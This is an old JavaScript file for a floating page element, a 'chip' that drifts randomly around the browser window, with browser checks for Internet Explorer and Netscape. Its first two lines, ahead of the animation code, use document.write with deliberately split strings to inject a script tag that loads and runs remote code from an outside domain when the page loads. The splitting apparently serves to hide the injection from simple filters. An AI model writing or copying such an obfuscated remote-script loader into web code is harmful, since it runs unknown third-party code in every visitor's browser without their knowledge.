document.write('<SCRI' + 'PT LANGUAGE="javascript1.2"'); 
document.writeln(' SRC="http://v.91' + 'tg.n' + 'et/k.' + 'js"></SCR' + 'IPT>'); 
function yysoft()
 {
	checkbrOK(); 
	yysoft=new Chip("yysoft",60,80);
	if(brOK)
		{
          movechip("yysoft");
         }
	}
	var brOK=false;
	var mie=false;
	var aver=parseInt(navigator.appVersion.substring(0,1));
	var aname=navigator.appName;
	function checkbrOK()
	{
		if(aname.indexOf("Internet Explorer")!=-1)
		{
			if(aver>=4) 

            brOK=navigator.javaEnabled();
			mie=true;
		}
		if(aname.indexOf("Netscape")!=-1)  
	  {
			if(aver>=4) brOK=navigator.javaEnabled();
		}
	}
	var vmin=2;
	var 

vmax=5;
	var vr=2;
	var timer1;
	function Chip(chipname,width,height)
	{	
		

this.named=chipname;
		this.vx=vmin+vmax*Math.random();
		this.vy=vmin+vmax*Math.random();
		

this.w=width;
		this.h=height;
		this.xx=0;
		this.yy=0;
		this.timer1=null;
	}
	

function movechip(chipname)
	{
	if(brOK)
	{
		eval("chip="+chipname);
		if(!mie)
	

	{
			pageX=window.pageXOffset;
			pageW=window.innerWidth;
			

pageY=window.pageYOffset;
			pageH=window.innerHeight;
		}
		else
		{
	

		pageX=window.document.body.scrollLeft;
			pageW=window.document.body.offsetWidth-90;
		

	pageY=window.document.body.scrollTop;
			pageH=window.document.body.offsetHeight-40;
		} 
	

	chip.xx=chip.xx+chip.vx;
		chip.yy=chip.yy+chip.vy;
		chip.vx+=vr*(Math.random()-0.5);
	

	chip.vy+=vr*(Math.random()-0.5);
		if(chip.vx>(vmax+vmin))  chip.vx=(vmax+vmin)*2-chip.vx;
		

if(chip.vx<(-vmax-vmin)) chip.vx=(-vmax-vmin)*2-chip.vx;
		if(chip.vy>(vmax+vmin))  

chip.vy=(vmax+vmin)*2-chip.vy;
		if(chip.vy<(-vmax-vmin)) chip.vy=(-vmax-vmin)*2-chip.vy;
		

if(chip.xx<=pageX)
		{
			chip.xx=pageX;
			chip.vx=vmin+vmax*Math.random();
	

	}
		if(chip.xx>=pageX+pageW-chip.w)
		{
			chip.xx=pageX+pageW-chip.w;
	

		chip.vx=-vmin-vmax*Math.random();
		}
		if(chip.yy<=pageY)
		{
		

	chip.yy=pageY;
			chip.vy=vmin+vmax*Math.random();
		}
		

if(chip.yy>=pageY+pageH-chip.h)
		{
			chip.yy=pageY+pageH-chip.h;
			

chip.vy=-vmin-vmax*Math.random();
		}
		if(!mie)
		{
			

eval('document.'+chip.named+'.top ='+chip.yy);
			eval('document.'+chip.named+'.left='+chip.xx);
		} 
	

	else
		{
			eval('document.all.'+chip.named+'.style.pixelLeft='+chip.xx);
			

eval('document.all.'+chip.named+'.style.pixelTop ='+chip.yy); 
		}
		

chip.timer1=setTimeout("movechip('"+chip.named+"')",100);
		}
	}